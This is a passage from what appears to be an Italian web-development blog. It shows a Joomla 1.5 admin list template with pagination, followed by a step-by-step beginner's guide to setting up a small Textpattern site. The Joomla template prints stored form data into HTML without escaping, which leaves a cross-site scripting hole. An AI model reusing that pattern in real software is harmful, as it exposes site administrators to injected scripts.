.../administrator/components/com_myform/views/tmpl/

defined('_JEXEC') or die('Restricted access');

$trh = '<thead><tr>
<th width="20%%">%s</th><th width="20%%">%s</th>
<th width="20%%">%s</th><th width="20%%">%s</th>
<th width="20%%">%s</th></tr></thead>';
$tr = '<tr>' . str_repeat('<td>%s</td>', 5) . '</tr>';
$html = '<form action="index.php" method="post" name="adminForm">
<table class="adminlist">';
$html .= '<tfoot><tr><td colspan="5">' . 
$this->pagination->getListFooter() .
'</td></tr></tfoot>';

$html .= sprintf($trh, JText::_('Nome'), JText::_('Cognome'), 
JText::_('Telefono'), JText::_('Indirizzo'), JText::_('Note'));
foreach($this->items as $item) {
  $html .= sprintf($tr, $item->nome, $item->cognome, $item->telefono, 
  $item->indirizzo, $item->note);
}
$html .= '</table>';
$html .= '<input type="hidden" name="option" value="com_myform" />
  <input type="hidden" name="task" value="" /></form>';
echo $html;

Viene inserito un form di nome adminForm e due campi nascosti option e task. Non è il caso di dilungarsi molto su questo (magari in futuro si potrà approfondire), è una parte standard che deve essere presente nell'interfaccia di amministrazione di ogni componente Joomla.

L'istruzione

$this->pagination->getListFooter()

visualizza nel footer della tabella gli elementi di interfaccia necessari alla navigazione (vedi foto)

Siamo nel template per cui $this->pagination è l'oggetto di classe JPagination creato nel metodo getPagination() dell'oggetto Model e a cui è stato assegnato l'identificativo pagination con assignRef() nell'oggetto View. Ripercorrete la strada all'indietro guardando il sorgente se qualcosa non è chiaro.

Siamo alla fine. Come al solito le spiegazioni a parole fanno sembrare tutto più difficile, ma a guardare bene per inserire la funzione di paginazione abbiamo dovuto scrivere non più di una ventina di righe di codice PHP.

La versione del componente aggiornata con tutte le modifiche apportate in quest'articolo è scaricabile dal sito, file myform4.zip

La prossima volta aggiungeremo le funzioni di modifica e cancellazione record.

domenica 23 settembre 2007

Textpattern: Breve Guida per Iniziare

Mi è capitato recentemente di dover mettere mano ad un sito realizzato con Textpattern. Di solito non uso questo cms e avevo avuto modo di darci solo una rapida occhiata diverso tempo fa. Devo dire che la seconda impressione è stata migliore della prima e mi è venuta voglia di buttare giù qualche riga sull'argomento.

Tanto per evitare di parlare solo di noiosa teoria ho pensato di usare Textpattern per creare un mini sito partendo da zero e mostrando l'intera procedura passo passo, per quanto possibile.

I più volenterosi (a dire così sembra di essere a scuola) possono provare a creare lo stesso sito in diretta leggendo l'articolo. Potete lavorare in locale se avete installati sul vostro PC Wamp Xampp o simili, o comunque Apache + PHP + MySql, oppure online se disponete di uno spazio web.

Io ho creato per questo scopo un sito di esempio su Netsons.org in modo che anche coloro che hanno meno voglia di lavorare possano vedere il risultato finale.

La miglior cosa è cominciare dall'inizio.

Installazione

Per chi è abituato a cms ben più corposi (come ad esempio Joomla) un pacchetto di installazione di poco più di 300 KB fa una certa impressione. Non dico che un cms debba valutarsi a peso, ma viene da chiedersi come possa esserci tutto quello che serve. E' una cosa che è molto facile scoprire.

L'installazione è semplice. Poniamo abbiate decompresso il pacchetto di installazione e copiati via FTP tutti i file in una cartella textp del vostro dominio, sarà sufficiente aprire il browser e visitare l'indirizzo www.vostrodominio.ext/textp/textpattern/ per avviare l'installazione via web.

Selezionata la lingua desiderata, si devono fornire le usuali informazioni: indirizzo server MySql, nome database MySql, utente MySql con privilegi sul database specificato e relativa password. Il database e l'utente devono essere già esistenti quindi vanno creati in precedenza con PHPMyAdmin o altro strumento di amministrazione del database messo a disposizione dall'host.

Devono essere poi forniti l'indirizzo del sito e il percorso alla cartella di Textpattern. Basta di solito confermare i dati già proposti.

Fatto questo, alla pagina successiva ci viene chiesto di creare un file config.php copiarci dentro i dati della configurazione presentati in una casella di testo e inserire poi il file nella cartella www.vostrodominio.ext/textp/textpattern/

Se vi state chiedendo per quale ragione il file di configurazione non possa essere generato automaticamente dallo script fate pure, ma non lo chiedete a me perché è quello che mi sono chiesto anch'io.

L'ultimo passaggio è inserire il nome, email, login e password dell'amministratore (meglio non perdersele).

Terminata l'installazione si può accedere all'area di amministrazione di Textpattern all'indirizzo www.vostrodominio.ext/textp/textpattern/ mentre la parte pubblica del sito è all'indirizzo www.vostrodominio.ext/textp/

Organizzazione del contenuto

In Texpattern la principale suddivisione logica dei contenuti del sito è costituita dalle sezioni.

Se per esempio volessimo realizzare con Textpattern un portale informativo potremmo creare le seguenti sezioni: Chi Siamo, Articoli, Risorse, Contatti.

Creare una sezione

Una volta effettuato il login come amministratore del sito selezionare le linguette

Aspetto -> Sezioni

L'installazione dovrebbe aver creato due sezioni about e article. Il sito di prova ci piace in italiano per cui cambiamo il campo Nome sezione rispettivamente in chi-siamo (i nomi delle sezioni non possono contenere spazi) e articoli. Cambiamo poi il campo Titolo sezione in Chi Siamo (gli spazi vanno bene nei titoli delle sezioni) e Articoli.

Infine modifichiamo il campo Usa la pagina della sezione articoli da archive a default. Le modifiche devono essere salvate separatamente per ogni sezione.

Per il momento non ci serve creare altre sezioni. Se volessimo farlo basterebbe scegliere il nome della sezione e premere Crea. La sezione viene creata ed aggiunta alla fine dell'elenco. Solo a questo punto se ne possono modificare le proprietà.

Inserire articoli

Predisposte le sezioni che ci interessano si possono inserire gli articoli.

Contenuti -> Scrivi

Textpattern non utilizza alcun editor WYSIWYG. gli articoli possono essere formattati includendo direttamente i tag html oppure si può utilizzare Textile.

Textile

Textile consente di formattare il testo con una sintassi semplificata. I marcatori Textile saranno poi convertiti in XHTML.

Per esempio una porzione di testo racchiusa tra asterischi sarà visualizzata in grassetto.

questa *parola* è evidenziata -> questa parola è evidenziata.

Il link Aiuto Textile sulla pagina inserimento articolo mostra l'elenco completo dei tag Textile che è possibile utilizzare.

Sinceramente io preferisco preparare il contenuto in un editor html esterno e fare poi un copia e incolla. Se avete la stessa abitudine selezionate il link Opzioni avanzate sulla sinistra e modificate l'impostazione da Usa Textile a Non intervenire sul testo sia per Codice articolo che per Codice sommario.

Sezione e categorie articolo

Ogni articolo è assegnato ad una sezione. La sceglieremo da una lista delle sezioni che abbiamo precedentemente creato che si trova nella colonna destra della pagina inserimento articolo.

Alcune sezioni tendono ad essere molto più affollate di altre. La sezione Chi Siamo conterrà probabilmente un solo articolo di presentazione dell'autore/i del sito, mentre la sezione Articoli può contenere centinaia di articoli.

Per questo Textpattern offre un'ulteriore criterio di classificazione dei contenuti, la categoria. Immediatamente al di sopra della lista sezioni si possono selezionare fino a due categorie per l'articolo. Seguendo il link Modifica a fianco della lista di selezione della prima categoria si viene indirizzati alla pagina di inserimento/modifica categorie (accessibile anche tramite le linguette: Contenuti -> Categorie).

Quelle che ci interessano per ora sono le Categorie Articoli (prima colonna).

Per il nostro sito creiamo le seguenti categorie: PHP, Javascript, Ajax.

Creare queste categorie è facile. Basta inserire il nome nella casella di testo e premere Crea. Si possono inoltre rimovere le categorie di prova create dall'installazione che con ogni probabilità non ci sono utili.

Stato articolo

Prima di salvare un articolo bisogna impostarne lo stato da una lista che si trova nella colonna destra della pagina inserimento articolo. Se si desidera salvare una versione preliminare dell'articolo non visibile nella parte pubblica del sito in modo da poterla editare in seguito, si imposta uno stato di Bozza, quando l'articolo è pronto per la pubblicazione si imposta uno stato di Visibile. Per il momento possiamo trascurare gli altri possibili stati.

Nel sito di prova ho creato due articoli (chiaramente finti!)

  • Chi Siamo (sezione Chi Siamo, nessuna categoria)
  • Introduzione al PHP (sezione Articoli, categorie PHP)

Createli anche voi scrivendo le prime fesserie che vi vengono in mente, tanto servono solo da riempitivo.

Inserire un'immagine nell'articolo

Volete non mettere una foto dell'autore e/o prorietario del sito nell'articolo Chi Siamo? Direi sarebbe quasi imperdonabile per cui ecco come si fa (a dire il vero questo è uno dei modi per farlo).

Siamo sempre nell'area di amministrazione. Selezionare

Contenuti -> Immagini

In alto a fianco della casella Carica immagine premere Sfoglia, selezionare un'immagine dal vostro hard disk, premere poi Carica.

Nella pagina successiva dovreste vedere la vostra immagine. Per quello che ci serve adesso è necessario preoccuparsi di riempire solo questi campi.

  • Nome immagine si può lasciare il nome del file
  • Testo Alternativo inserire ad es. Una mia fotografia

Premere Salva. Se tutto è andato bene, tornati alla schermata precedente, dovreste vedere il nome dell'immagine nell'elenco. Annotatevi il suo numero di ID (il valore sotto la prima colonna).

Visualizzare poi l'elenco articoli

Contenuti -> Articoli

Cliccare nell'elenco l'articolo Chi Siamo. Si apre la schermata di modifica articolo. Selezionare Opzioni avanzate, inserire nel campo Immagine articolo il numero di ID (attenzione che inserire il nome non va bene) dell'immagine caricata in precedenza e salvare.

A questo punto abbiamo assegnato l'immagine all'articolo, resta da impostare dove debba essere visualizzata. Selezionare

Aspetto -> Moduli

Accertarsi (controllando al di sotto della casella di testo al centro della pagina) che il nome del modulo selezionato sia default e la tipologia article. Altrimenti sul lato destro della pagina cliccare default sotto la colonna Modulo.

Modificate la casella di testo in questo modo (la riga in grassetto è l'unica da inserire, le altre devono esserci già altrimenti siete sul modulo sbagliato!)

<h3><txp:permlink><txp:title />
</txp:permlink> &#183; <txp:posted /></h3>
<txp:article_image class="article-image" />
<txp:body />
<p>&#8212; <txp:author /></p>
<txp:comments_invite wraptag="p" />
<div class="divider">
<img src="<txp:site_url />images/1.gif" width="400" 
height="1" alt="---" title="" /></div>

In pratica modifichiamo il formato di default di un articolo dicendo a Textpattern di includere un'eventuale immagine assegnata all'articolo prima del corpo dell'articolo (<txp:body />) stesso.

Non dimenticate di salvare il modulo.

I tag in Textpattern

<txp:article_image class="article-image" /> è un tag.

Un tag, con una certa semplificazione, perché come vedremo ci sono tag che svolgono una diversa funzione, è un segnaposto. Rappresenta cioè posizione ed attributi di una qualche entità che fa parte del contenuto.

I tag consentono di creare modelli della struttura di ogni tipologia di contenuti ed altri elementi del nostro sito.

Il modulo che abbiamo appena modificato rappresenta la struttura predefinita di un articolo del sito.

  1. Titolo con link alla pagina dell'articolo (permalink).
  2. Data
  3. Immagine
  4. Testo articolo
  5. Nome autore
  6. Sezione Commenti
  7. Separatore

Questo modello serve a Textpattern per determinare posizione ed attributi dei vari elementi quando un articolo viene visualizzato.

Da notare che nel nostro esempio usiamo lo stesso modulo per ogni articolo, ma è possibile creare quanti moduli vogliamo ed assegnare ad articoli diversi moduli diversi.

Tornando al tag <txp:article_image />, la sua funzione è di indicare la posizione dell'immagine assegnata all'articolo (ricordiamo che questo si fa inserendo l'ID dell'immagine nel campo Immagine articolo sotto Opzioni avanzate nella schermata di inserimento/modifica articolo).

Quando l'articolo è visualizzato, Textpattern inserisce al posto del tag il codice html necessario alla visualizzazione dell'immagine (<img src="..." />).

Abbiamo anche incluso un attributo del tag (class="article-image") che indica di assegnare al tag html <img> che visualizza l'immagine la classe article-image.

Modificare attributi immagine nel foglio di stile

Nel modulo abbiamo inserito l'immagine sopra il corpo dell'articolo, ma se lasciassimo tutto così l'effetto sarebbe veramente brutto: vogliamo che l'immagine sia allineata a sinistra con il testo che scorre a destra e sotto di essa.

Per ottenere questo dobbiamo modificare il foglio di stile. Selezionare

Aspetto -> Stile

Aggiungere alla fine del foglio di stile di default (c'è solo quello per cui non si può sbagliare)

.article-image {
  float:left;
  margin: 0 10px 10px 0;
}

Creare un menu di navigazione

Vogliamo a questo punto inserire un menu di navigazione nella colonna di sinistra con i link alle sezioni che abbiamo creato. Selezioniamo.

Aspetto -> Pagine

Accertiamoci che quella visualizzata sia la pagina di default e facciamo questa modifica (la riga da inserire è solo quella in grassetto, riporto le righe immediatamente precedenti e successive per consentirvi di trovare con facilità il punto dove fare la modifica).

...
<!-- left -->
<div id="sidebar-1">
<txp:section_list break="li" wraptag="ul" />
<txp:linklist wraptag="p" />
</div>
...

Abbiamo usato un altro tag, <txp:section_list />. Questo tag viene rimpiazzato con la lista dei titoli delle sezioni ovviamente collegati alle rispettive pagine. L'attributo break="li" indica che ciascun elemento (titolo sezione) sarà racchiuso tra i tag html <li> e </li>, mentre l'attributo wraptag="ul" indica che l'intero blocco sarà racchiuso tra <ul> e </ul>.

Salvate e visualizzate il sito (linguetta Mostra il sito). Dovreste vedere una lista delle sezioni sulla colonna di sinistra. Se usate l'opzione Visualizza sorgente pagina del vostro browser vi renderete conto del codice html con cui Textpattern ha rimpiazzato il tag.

In conclusione (per ora)

Riassumendo abbiamo visto:

  • Come installare Textpattern
  • Come creare sezioni
  • Come scrivere un articolo con Textile o in html
  • Come creare categorie
  • Come gestire lo stato di pubblicazione di un articolo
  • Come caricare un'immagine ed assegnarla all'articolo
  • Come aggiungere tag a modulo e pagina di default e modificare il foglio di stile

Il risultato di quello che abbiamo fatto è visibile sul sito di esempio. Certo molto bello da vedere non è, ma all'estetica possiamo pensare in seguito.

Per ora è tutto.